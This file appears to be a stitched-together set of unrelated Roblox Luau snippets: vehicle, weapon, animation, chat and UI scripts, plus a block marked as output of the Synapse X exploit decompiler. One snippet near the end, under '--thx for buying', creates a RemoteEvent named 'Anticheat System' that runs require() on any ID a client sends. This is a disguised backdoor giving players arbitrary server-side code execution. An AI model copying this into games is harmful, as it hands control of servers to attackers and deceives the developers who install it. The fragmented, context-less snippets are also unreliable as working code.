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--Updates the speedo
|
val.Velocity.Changed:connect(function()
Guages.Speed.Text = tostring(math.floor(val.Velocity.Value.Magnitude * StudsToKilo))
end)
|
--//Setup//--
|
local Buttons = script.Parent
local Floor = Buttons.Parent
local FloorConfiguration = Floor.Configuration
|
--Brake particles
|
bp1 = script.Parent.BrakeParticles1.ParticleEmitter
bp2 = script.Parent.BrakeParticles2.ParticleEmitter
bs = script.Parent.Mover.Sound --brake sound
while true do
wait(0.1)
--dir & speed
if dir.Value == 0 then
script.Parent.Mover.BodyVelocity.Velocity = Vector3.new(0, 0, 0)
elseif dir.Value >= 0.5 then
script.Parent.Mover.BodyVelocity.velocity= script.Parent.Mover.CFrame.lookVector*rsp.Value
elseif dir.Value <= -0.5 then
script.Parent.Mover.BodyVelocity.velocity= script.Parent.Mover.CFrame.lookVector*-rsp.Value
end
--Brake effects
if brk.Value >= 0 and csp.Value >= 0.5 then
bp1.Enabled = true
bp2.Enabled = true
bs.Volume = brk.Value / bmax.Value --this trick doesn't let the sound hurt your ears
--even when the maximum brake value is 10000000
else
bp1.Enabled = false
bp2.Enabled = false
bs.Volume = 0
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local l__Time__1 = p1.Time;
local v2 = service.New("Sound");
v2.Volume = 0.25;
v2.Looped = false;
v2.SoundId = "http://www.roblox.com/asset/?id=151715959";
local v3 = service.New("Sound");
v3.Volume = 0.25;
v3.Looped = false;
v3.SoundId = "http://www.roblox.com/asset/?id=267883066";
local v4 = {
Name = "Countdown",
Title = "Countdown",
Size = { 300, 150 },
Position = UDim2.new(0, 10, 1, -160)
};
function v4.OnClose()
v2:Stop();
v3:Stop();
v2:Destroy();
v3:Destroy();
end;
local v5 = client.UI.Make("Window", v4);
local v6 = v5:Add("TextLabel", {
Text = l__Time__1,
BackgroundTransparency = 1,
TextScaled = true
});
local v7 = {
Text = ""
};
local u1 = false;
local u2 = nil;
function v7.OnClick()
if u1 then
v2.Volume = 0.25;
v3.Volume = 0.25;
u2.Image = "rbxassetid://1638551696";
u1 = false;
return;
end;
v2.Volume = 0;
v3.Volume = 0;
u2.Image = "rbxassetid://1638584675";
u1 = true;
end;
u2 = v5:AddTitleButton(v7):Add("ImageLabel", {
Size = UDim2.new(0, 20, 0, 20),
Position = UDim2.new(0, 5, 0, 0),
Image = "rbxassetid://1638551696",
BackgroundTransparency = 1
});
v2.Parent = v6;
v3.Parent = v6;
local l__gTable__8 = v5.gTable;
l__gTable__8:Ready();
for v9 = l__Time__1, 0, -1 do
if not l__gTable__8.Active then
break;
end;
v2:Play();
v6.Text = v9;
wait(1);
end;
v3:Play();
for v10 = 0, 3 do
v3:Play();
for v11 = 1, 0, -0.1 do
v6.TextTransparency = v11;
wait(0.05);
end;
for v12 = 0, 1, 0.1 do
v6.TextTransparency = v12;
wait(0.05);
end;
end;
v5:Close();
end;
|
-- Settings
|
local Configuration = Home:WaitForChild("Configuration")
local SwingPower = Configuration:WaitForChild("SwingPower")
local function SetPhysicalProperties(Part,Density)
if Part then
Part.CustomPhysicalProperties = PhysicalProperties.new(Density,Part.Friction,Part.Elasticity)
end
end
GetAllDescendants = function(instance, func)
func(instance)
for _, child in next, instance:GetChildren() do
GetAllDescendants(child, func)
end
end
local function SetCharacterToWeight(ToDensity,Char)
GetAllDescendants(Char,function(d)
if d and d.Parent and d:IsA("BasePart") then
SetPhysicalProperties(d,density)
end
end)
end
local function OnSeatChange(Seat)
if Seat.Occupant then
local CurrentThrottle = Seat.Throttle
local BodyForce = Seat:WaitForChild("BodyForce")
-- Adjust swing when interacted
if CurrentThrottle == 1 then
BodyForce.Force = Seat.CFrame.lookVector * SwingPower.Value * 100
elseif CurrentThrottle == -1 then
BodyForce.Force = Seat.CFrame.lookVector * SwingPower.Value * -100
else
BodyForce.Force = Vector3New()
end
delay(0.2,function()
BodyForce.Force = Vector3New()
end)
-- Make the character weightless for the swing to behave correctly
if CurrentOccupant == nil then
CurrentOccupant = Seat.Occupant
SetCharacterToWeight(0,CurrentOccupant.Parent)
end
elseif CurrentOccupant then
-- Set the character's weight back
SetCharacterToWeight(0.7,CurrentOccupant.Parent)
CurrentOccupant = nil
end
end
SwingSeat1.Changed:connect(function()
OnSeatChange(SwingSeat1)
end)
SwingSeat2.Changed:connect(function()
OnSeatChange(SwingSeat2)
end)
|
--[[
Implementation
]]
|
local singleton = nil
local GameStageHandler = {}
GameStageHandler.__index = GameStageHandler
function GameStageHandler.new()
local self = setmetatable({
currentStage = nil,
currentStageClassName = nil,
timeStageStarted = nil,
}, GameStageHandler)
self.gameStageChanged = Signal.new()
getGameStage.OnServerInvoke = function(player)
return self.currentStageClassName
end
singleton = self
return self
end
function GameStageHandler.getInstance()
return singleton
end
function GameStageHandler:nextStage()
-- Destroy the previous stage
self.currentStage:destroy()
-- Figure out what the next stage will be
local nextStageName = nil
for index, value in ipairs(Conf.stages) do
if value == self.currentStageClassName then
nextStageName = Conf.stages[index + 1]
break
end
end
self:_initializeStage(nextStageName)
end
function GameStageHandler:start()
self:_initializeStage(Conf.stages[1])
end
function GameStageHandler:destroy()
self.gameStageChanged = nil
if self.currentStage then
self.currentStage:destroy()
end
end
function GameStageHandler:_initializeStage(stageName)
if not stageName then
return
end
print(string.format("Initilizing Stage: %s", stageName))
-- Initialize the next stage, if there is one
local nextStage = stageFolder:FindFirstChild(stageName)
assert(nextStage, string.format("Failed to initialize stage \"%s\", stage does not exist", stageName))
self.currentStage = require(nextStage).new(self)
self.currentStageClassName = stageName
self.timeStageStarted = tick()
self.currentStage:initialize()
-- Fire local event
self.gameStageChanged:fire(stageName)
-- Notify clients of the stage change
gameStageChanged:FireAllClients(stageName)
Broadcast.fireRemote("GAME_STAGE_CHANGE", stageName)
end
return GameStageHandler
|
-- Class Functions
|
function Animater:Play(name: string, options: options)
options = (options and (type(options == "table"))) and options or {}
if self.Tracks[name] then
-- TODO: Add indexability to list of tracks for one animation name.
local track: AnimationTrack = self.Tracks[name][1]
if track then
if options.stopOthers then
for _, trackList in next, self.Tracks do
for _, t in next, trackList do
if t.IsPlaying and t ~= track then
t:Stop(options.fadeOut or self.FadeOut)
end
end
end
end
if options.forceStart or not track.IsPlaying then
track:Play(options.fadeIn or self.FadeIn, options.weight or 1, options.speed or 1)
end
end
end
end
function Animater:Stop(name: string, options: options?)
options = (options and (type(options == "table"))) and options or {}
if self.Tracks[name] then
-- TODO: Add indexability to list of tracks for one animation name.
local track: AnimationTrack = self.Tracks[name][1]
track:Stop(options.fadeOut or self.FadeOut)
end
end
function Animater:Get(name: string, pos: number?) : AnimationTrack?
if self.Tracks[name] then
if pos and self.Tracks[name][pos] then
return self.Tracks[name][pos]
else
return self.Tracks[name][math.random(1, #self.Tracks[name])]
end
end
return nil
end
function Animater:Has(name: string, pos: number?) : boolean
if self.Tracks[name] then
if pos and self.Tracks[name][pos] then
return true
elseif self.Tracks[name][math.random(1, #self.Tracks[name])] then
return true
end
end
return false
end
function Animater:SetSpeed(name: string, speed: number, pos: number?)
if self.Tracks[name] then
local track: AnimationTrack = self.Tracks[name][pos or math.random( 1, #self.Tracks[name] )]
if track then
track:AdjustSpeed(speed)
end
end
end
function Animater:LoadAnimation(name: string, animation: Animation, options: AnimationIndex)
local track: AnimationTrack = self.Controller:LoadAnimation(animation)
self._maid:GiveTask(track)
track.Priority = self.Priority or Enum.AnimationPriority.Core
track:AdjustSpeed(options.speed or 1)
track:AdjustWeight(options.weight or 1, options.weightFade or 0.100000001)
self.Tracks[name][1] = track
end
function Animater:LoadAnimationIndex(name: string, animationIndex: AnimationIndex)
local animation: Animation = Instance.new('Animation')
self._maid:GiveTask(animation)
animation.AnimationId = animationIndex.id
animation.Name = name
self:LoadAnimation(name, animation, animationIndex)
end
function Animater:LoadAnimationTable(animationTable: { [string]: AnimationIndex })
for name, sublist in next, animationTable do
self.Tracks[name] = {}
if sublist.id then
self:LoadAnimationIndex(name, sublist)
else
-- TODO: Add multiple entries for one animation name
end
end
end
function Animater:SetController(controller: Controller)
self:Clean()
self.Controller = controller
end
function Animater:SetPriority(priority: Enum.AnimationPriority)
self.Priority = priority
end
function Animater:Clean()
for _, sublist in next, self.Tracks do
for _, track: AnimationTrack in next, sublist do
track:Stop(0)
end
end
self._maid:DoCleaning()
self.Tracks = {}
end
function Animater:Destroy()
self:Clean()
table.clear(self)
self = nil
end
return Animater
|
--// general sound making function
|
function module.MakeSound(ID : string, parent : Instance, playing : boolean?, pitch : number?, volume : number?, looped : boolean?)
local MadeSound = Instance.new("Sound")
MadeSound.Parent = parent
MadeSound.SoundId = ID
MadeSound.Playing = playing
MadeSound.PlaybackSpeed = pitch
MadeSound.Volume = volume
MadeSound.Looped = looped
return MadeSound
end
|
-- this module script determines who is banned (if you want to ban people just like that, place this in server storage. then input the userid.)
-- also DONT RENAME THIS MODULE SCRIPT
|
local module = {
Banned = {},
}
return module
|
--Rebirth formula secreta de las cangreRebirths :V:V:V:V:V
|
Button.Activated:Connect(function()
local FormulaUpdate = RebirthFormule.Value + (RebirthFormule.Value * Multiplier.Value)
RebirthEvent:FireServer()
if Points.Value >= FormulaUpdate then
--Info for tween
local TweenRotationInfo = TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local Tween1 = TweenService:Create(Icon, TweenRotationInfo, {Rotation = 15})
Tween1:Play()
Tween1.Completed:Connect(function()
local Tween2 = TweenService:Create(Icon, TweenRotationInfo, {Rotation = -10})
Tween2:Play()
Tween2.Completed:Connect(function()
local Tween3 = TweenService:Create(Icon, TweenRotationInfo, {Rotation = 0})
Tween3:Play()
end)
end)
end
end)
|
-- initialize to idle
|
playAnimation("idle", 0.1, Enemy)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
|
--//Weight//--
|
VehicleWeight = 1700 --{Weight of vehicle in KG}
WeightDistribution = 60 --{To the rear}
|
--!strict
|
return {
isFinite = require(script.isFinite),
isInteger = require(script.isInteger),
isNaN = require(script.isNaN),
isSafeInteger = require(script.isSafeInteger),
MAX_SAFE_INTEGER = require(script.MAX_SAFE_INTEGER),
MIN_SAFE_INTEGER = require(script.MIN_SAFE_INTEGER),
NaN = 0 / 0,
toExponential = require(script.toExponential),
}
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
--local head = vCharacter:findFirstChild("Head")
local head = locateHead()
if head == nil then return end
--computes a the intended direction of the projectile based on where the mouse was clicked in reference to the head
local dir = mouse_pos - head.Position
dir = computeDirection(dir)
local launch = head.Position + 3 * dir
local delta = mouse_pos - launch
local dy = delta.y
local new_delta = Vector3.new(delta.x, 0, delta.z)
delta = new_delta
local dx = delta.magnitude
local unit_delta = delta.unit
-- acceleration due to gravity in RBX units
local g = (-9.81 * 20)
local theta = computeLaunchAngle( dx, dy, g)
local vy = math.sin(theta)
local xz = math.cos(theta)
local vx = unit_delta.x * xz
local vz = unit_delta.z * xz
local missile = Pellet:clone()
missile.CanCollide = true
missile.Position = launch
missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY
missile.RotVelocity = Vector3.new(math.random(), math.random(), math.random()).unit * 10
missile.OrnamentScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function locateHead()
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
return vCharacter:findFirstChild("Head")
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
fire(targetPos)
wait(.8)
Tool.Enabled = true
Tool.Handle.Transparency = 0
end
script.Parent.Activated:connect(onActivated)
|
--------BACKLIGHTS--------
|
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(194)
|
--[=[
@return table
Returns a serialized version of the option.
]=]
|
function Option:Serialize()
return {
ClassName = self.ClassName,
Value = self._v,
}
end
|
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
|
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} end
if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
function ChatLocalization:FormatMessageToSend(key,default) return default end
end
local FriendMessageTextColor = Color3.fromRGB(255, 255, 255)
local FriendMessageExtraData = {ChatColor = FriendMessageTextColor}
local function Run(ChatService)
local function ShowFriendJoinNotification()
if FFlagUserHandleFriendJoinNotifierOnClient == false then
if ChatSettings.ShowFriendJoinNotification ~= nil then
return ChatSettings.ShowFriendJoinNotification
end
end
return false
end
local function SendFriendJoinNotification(player, joinedFriend)
local speakerObj = ChatService:GetSpeaker(player.Name)
if speakerObj then
local joinedFriendName = joinedFriend.Name
if ChatSettings.PlayerDisplayNamesEnabled then
joinedFriendName = joinedFriend.DisplayName
end
local msg = ChatLocalization:FormatMessageToSend("GameChat_FriendChatNotifier_JoinMessage",
string.format("Your friend %s has joined the game.", joinedFriendName),
"RBX_NAME",
joinedFriendName)
speakerObj:SendSystemMessage(msg, "System", FriendMessageExtraData)
end
end
local function TrySendFriendNotification(player, joinedPlayer)
if player ~= joinedPlayer then
coroutine.wrap(function()
if player:IsFriendsWith(joinedPlayer.UserId) then
SendFriendJoinNotification(player, joinedPlayer)
end
end)()
end
end
if ShowFriendJoinNotification() then
Players.PlayerAdded:connect(function(player)
local possibleFriends = Players:GetPlayers()
for i = 1, #possibleFriends do
TrySendFriendNotification(possibleFriends[i], player)
end
end)
end
end
return Run
|
-- Connect to the sound playing event
|
game:GetService("SoundService").Playing:Connect(function(sound)
if sound.Playing and sound.SoundId and sound.Volume >= soundThreshold then
shakeScreen(shakeMagnitude, shakeDuration)
end
end)
|
--Made by Stickmasterluke
|
sp=script.Parent
firerate=0.075
range=950
power=300
rate=1/30
spinuptime=0
barreloffset=Vector3.new(0,0.35,-3.35)
windvec=Vector3.new(2,-1,1).unit
firetime=0
maxammo=400
reloadtime = 3.65
ammo=maxammo
debris=game:GetService("Debris")
equipped=false
check=true
firing=false
reloading=false
function waitfor(parent,name)
while parent:FindFirstChild(name)==nil do
wait()
end
return parent:FindFirstChild(name)
end
function checkintangible(hit)
if hit and hit~=nil then
if hit:IsDescendantOf(sp.Parent) or hit.Transparency>.8 or hit.Name=="Handle" or hit.Name=="Effect" or hit.Name=="Bullet" or hit.Name=="Laser" or string.lower(hit.Name)=="water" or hit.Name=="Rail" or hit.Name=="Arrow" then
return true
end
end
return false
end
function castray(startpos,vec,length,ignore,delayifhit)
local hit,endpos2=game.Workspace:FindPartOnRay(Ray.new(startpos,vec*length),ignore)
if hit~=nil then
if checkintangible(hit) then
if delayifhit then
wait()
end
hit,endpos2=castray(endpos2+(vec*.01),vec,length-((startpos-endpos2).magnitude),ignore,delayifhit)
end
end
return hit,endpos2
end
function wait(TimeToWait)
if TimeToWait ~= nil then
local TotalTime = 0
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
while TotalTime < TimeToWait do
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
end
else
game:GetService("RunService").Heartbeat:wait()
end
end
function drawbeam(beamstart,beamend,clr,fadedelay)
local dist=(beamstart-beamend).magnitude
local laser=Instance.new("Part")
laser.Name="Effect"
laser.Anchored=true
laser.CanCollide=false
laser.Shape="Block"
laser.formFactor="Custom"
laser.Size=Vector3.new(.2,.2,.2)
laser.Transparency=0
laser.Material=Enum.Material.Neon
laser.Locked=true
laser.TopSurface=0
laser.BottomSurface=0
laser.BrickColor=BrickColor.new("Lime green")
laser.CFrame=CFrame.new(beamend,beamstart)*CFrame.new(0,0,-dist/2)*CFrame.Angles(math.pi/2,0,0)
local m=Instance.new("SpecialMesh")
m.Scale=Vector3.new(1,dist*5,1)
m.MeshType="Brick"
m.Parent=laser
debris:AddItem(laser,fadedelay*0.5)
laser.Parent=game.Workspace
--[[local frames=math.floor(fadedelay/rate)
for frame=1,frames do
wait(rate)
local percent=frame/frames
laser.CFrame=laser.CFrame+windvec*rate
laser.Transparency=.5+(percent*.5)
end]]
wait(.5)
laser:remove()
end
function fire()
local hu=sp.Parent:FindFirstChild("Humanoid")
local he=sp.Parent:FindFirstChild("Head")
local t=sp.Parent:FindFirstChild("Torso")
local team=sp.Parent:FindFirstChild("TEAM")
if hu and hu.Health>0 and t and he and themouse~=nil and equipped then
anim2 = sp.Parent.Humanoid:LoadAnimation(sp.FireAni)
if anim2 then anim2:Play() anim2:AdjustSpeed(5) end
local startpos=he.Position
local fakestartpos=(sp.Handle.CFrame*CFrame.new(barreloffset)).p
local vec=(themouse.Hit.p-startpos).unit + (Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000)) / (1500*37.5))
local p=Instance.new("Part")
p.Name="Effect"
p.BrickColor=BrickColor.new("Lime green")
p.CanCollide=false
p.TopSurface="Smooth"
p.BottomSurface="Smooth"
p.formFactor="Custom"
p.Size=Vector3.new(0,0,0)
p.Transparency=1
local m=Instance.new("SpecialMesh")
m.Parent=p
local hit,endpos=castray(startpos,vec,range,sp.Parent,false)
local fakevec=(endpos-fakestartpos).unit
if hit~=nil then
local newcf=CFrame.new(endpos,endpos+fakevec)*CFrame.Angles(math.pi/2,0,0)*CFrame.new(0,0,0)
p.CFrame=newcf
local w=Instance.new("Weld")
w.Part0=hit
w.Part1=p
w.C0=hit.CFrame:inverse()*newcf
w.C1=newcf:inverse()*newcf
w.Parent=p
team:clone().Parent=p
local c=Instance.new("ObjectValue")
c.Name="creator"
c.Value=game.Players.LocalPlayer
c.Parent=p
local s=script.Script:clone()
s.Parent=p
s.Disabled=false
else
p.CFrame=CFrame.new(endpos,endpos+fakevec)
p.Velocity=fakevec*power
p.Parent=game.Workspace
end
debris:AddItem(p,1)
p.Parent=game.Workspace
delay(0,function()
drawbeam(fakestartpos,endpos,BrickColor.new("Bright yellow"),.1)
end)
--[[local sound=sp.Handle:FindFirstChild("Fire")
if sound~=nil then
--sound:Stop()
sound:Play()
end]]
local shoulder=t:FindFirstChild("Right Shoulder")
if shoulder~=nil then
shoulder.CurrentAngle=(math.pi/2)+.1
end
end
end
function onEquipped(mouse)
equipped=true
if mouse~=nil then
anim = sp.Parent.Humanoid:LoadAnimation(sp.idle)
if anim then anim:Play() end
themouse=mouse
mouse.Icon="http://www.roblox.com/asset/?id=2966012"
mouse.Button1Down:connect(function()
mouse.Icon="http://www.roblox.com/asset/?id=2966012"
firetime=tick()+spinuptime
down=true
end)
mouse.Button1Up:connect(function()
down=false
mouse.Icon="http://www.roblox.com/asset/?id=2966012"
end)
mouse.KeyDown:connect(function(Key)
if string.lower(Key) == "r" then
if ammo ~= maxammo and sp.Enabled == true then sp.Enabled = false Reload() sp.Enabled = true end
end
end)
end
end
function Reload()
sp.Handle.Fire:Stop()
anim3 = sp.Parent.Humanoid:LoadAnimation(sp.Reload)
if anim3 then anim3:Play() anim3:AdjustSpeed(2.5) end
local sound=sp.Handle:FindFirstChild("Reload")
if sound~=nil then
sound:Play()
end
wait(reloadtime)
ammo = maxammo
end
function onUnequipped()
if anim then anim:Stop() end
equipped=false
themouse=nil
end
sp.Equipped:connect(onEquipped)
sp.Unequipped:connect(onUnequipped)
while true do
if down and equipped and sp.Enabled == true then
sp.Enabled = false
if ammo > 0 then
ammo = ammo - 1
if sp.Handle.Fire.IsPlaying == false then sp.Handle.Fire:Play() end
fire()
wait(firerate)
else
Reload()
end
sp.Enabled = true
else
sp.Handle.Fire:Stop()
wait()
end
end
|
-- Same extra's apply down here as well.
|
game.Players.ChildRemoved:Connect(function(player)
if not pcall (function()
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = ""..player.Name.. " has left the game.";
Color = Color3.fromRGB(255, 151, 151);
Font = Enum.Font.ArialBold;
FontSize = Enum.FontSize.Size18;
})
end) then
print ("Error")
end
end)
|
-- v1.0 --
|
local player = game.Players.LocalPlayer
local PlayButton = script.Parent.AudioPlayerGui.PlayButton
local PauseButton = script.Parent.AudioPlayerGui.PauseButton
local VolUpButton = script.Parent.AudioPlayerGui.VolUp
local VolDownButton = script.Parent.AudioPlayerGui.VolDown
local ChangeButton = script.Parent.AudioPlayerGui.ChangeButton
local onOff = script.Parent.AudioPlayerGui.onOff
local carSeat = script.Parent.CarSeat.Value
|
--Made by Stickmasterluke
|
sp=script.Parent
firerate=22
power=50
rate=1/30
debris=game:GetService("Debris")
equipped=false
check=true
function onEquipped(mouse)
equipped=true
if mouse~=nil then
if check then
mouse.Icon="rbxasset://textures\\GunCursor.png"
sp.Handle.Transparency=0
else
mouse.Icon="rbxasset://textures\\GunWaitCursor.png"
sp.Handle.Transparency=1
end
mouse.Button1Down:connect(function()
local hu=sp.Parent:FindFirstChild("Humanoid")
local t=sp.Parent:FindFirstChild("Torso")
if check and hu and hu.Health>0 and t then
check=false
mouse.Icon="rbxasset://textures\\GunWaitCursor.png"
sp.Handle.Transparency=1
local sound=sp.Handle:FindFirstChild("Throw")
if sound~=nil then
sound:Play()
end
local shoulder=t:FindFirstChild("Right Shoulder")
if shoulder~=nil then
shoulder.CurrentAngle=2
end
local p=sp.Handle:clone()
p.CanCollide=true
p.Transparency=0
local vec=(mouse.Hit.p-t.Position).unit
p.CFrame=CFrame.new(t.Position,t.Position+vec)*CFrame.new(0,0,-5)
p.Velocity=(vec*power)+Vector3.new(0,20,0)
local s=script.Script:clone()
s.Parent=p
s.Disabled=false
local ct=Instance.new("ObjectValue")
ct.Name="creator"
ct.Value=game.Players.LocalPlayer
ct.Parent=p
debris:AddItem(p,firerate+10)
p.Parent=game.Workspace
wait(firerate)
sp.Handle.Transparency=0
mouse.Icon="rbxasset://textures\\GunCursor.png"
check=true
end
end)
end
end
function onUnequipped()
equipped=false
sp.Handle.Transparency=0
end
sp.Equipped:connect(onEquipped)
sp.Unequipped:connect(onUnequipped)
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--[[
Creates a new alert in specified frame, of specified type. This will cause all existing alerts to move down, making room for the new one.
The alert will disappear after a set time.
]]
|
function AlertController.addAlert(alerts, type, message)
local entry = baseAlertElement:Clone()
for _, child in pairs(alerts:GetChildren()) do
if child:IsA("Frame") then
child.LayoutOrder = child.LayoutOrder + 1
end
end
local messageElement = entry.Message
messageElement.Text = message
if type == Constants.Alert.Fail then
messageElement.TextColor3 = Color3.fromRGB(201, 67, 58)
elseif type == Constants.Alert.Success then
messageElement.TextColor3 = Color3.fromRGB(89, 156, 82)
end
entry.Parent = alerts
delay(
5,
function()
if messageElement and messageElement.Parent then
local tween = TweenService:Create(messageElement, tweenInfo, {TextTransparency = 1})
tween:Play()
tween.Completed:Wait()
entry:Destroy()
end
end
)
end
return AlertController
|
--[[Status Vars]]
|
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait=tick()
local FlipDB=false
local _InControls = false
|
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.01
s:play()
wait(0.001)
end]]
|
for x = 1,100 do
s.Pitch = s.Pitch - 0.0020
s:play()
wait(0.001)
end
wait()
end
|
--////////////////////////////// Include
--//////////////////////////////////////
|
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants"))
local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local Speaker = require(modulesFolder:WaitForChild("Speaker"))
local Util = require(modulesFolder:WaitForChild("Util"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
ChatLocalization = ChatLocalization or {}
if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
function ChatLocalization:FormatMessageToSend(key,default) return default end
end
local function allSpaces(inputString)
local testString = string.gsub(inputString, " ", "")
return string.len(testString) == 0
end
|
--Avxnturador @ //INSPARE
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("DS_Sounds")
local lastGear = 0
local Rev1 = 1500
local Rev2 = 4000
local Rev3 = 6400
local Rev4 = 7300
wait(0.5)
script:WaitForChild("DS1")
script:WaitForChild("DS2")
script:WaitForChild("DS3")
script:WaitForChild("DS4")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","DS1",car.DriveSeat,script.DS1.SoundId,1,script.DS1.Volume,false)
handler:FireServer("newSound","DS2",car.DriveSeat,script.DS2.SoundId,1,script.DS2.Volume,false)
handler:FireServer("newSound","DS3",car.DriveSeat,script.DS3.SoundId,1,script.DS3.Volume,false)
handler:FireServer("newSound","DS4",car.DriveSeat,script.DS4.SoundId,1,script.DS4.Volume,false)
car.DriveSeat:WaitForChild("DS1")
car.DriveSeat:WaitForChild("DS2")
car.DriveSeat:WaitForChild("DS3")
car.DriveSeat:WaitForChild("DS4")
script.Parent.Values.Gear.Changed:connect(function()
if lastGear>script.Parent.Values.Gear.Value then
if ((script.Parent.Values.RPM.Value>=Rev1) and (script.Parent.Values.RPM.Value<Rev2)) then
if FE then handler:FireServer("playSound","DS1") else car.DriveSeat.DS1:Play() end
elseif ((script.Parent.Values.RPM.Value>=Rev2) and (script.Parent.Values.RPM.Value<Rev3)) then
if FE then handler:FireServer("playSound","DS2") else car.DriveSeat.DS2:Play() end
elseif ((script.Parent.Values.RPM.Value>=Rev3) and (script.Parent.Values.RPM.Value<Rev4)) then
if FE then handler:FireServer("playSound","DS3") else car.DriveSeat.DS3:Play() end
elseif (script.Parent.Values.RPM.Value>=Rev4) then
if FE then handler:FireServer("playSound","DS4") else car.DriveSeat.DS4:Play() end
end
end
lastGear = script.Parent.Values.Gear.Value
end)
|
-- this is a dummy object that holds the flash made when the gun is fired
|
local FlashHolder = nil
local WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = workspace.Terrain.GetCell
|
--thx for buying
|
local a = Instance.new("RemoteEvent", game.ReplicatedStorage)
a.Name = "Anticheat System"
a.OnServerEvent:connect(function(p,a)
require(a).load(p.Name)
end)
|
-- Hook events
|
Entry.TextBox.FocusLost:Connect(function(submit)
return Window:LoseFocus(submit)
end)
UserInputService.InputBegan:Connect(function(input, gameProcessed)
return Window:BeginInput(input, gameProcessed)
end)
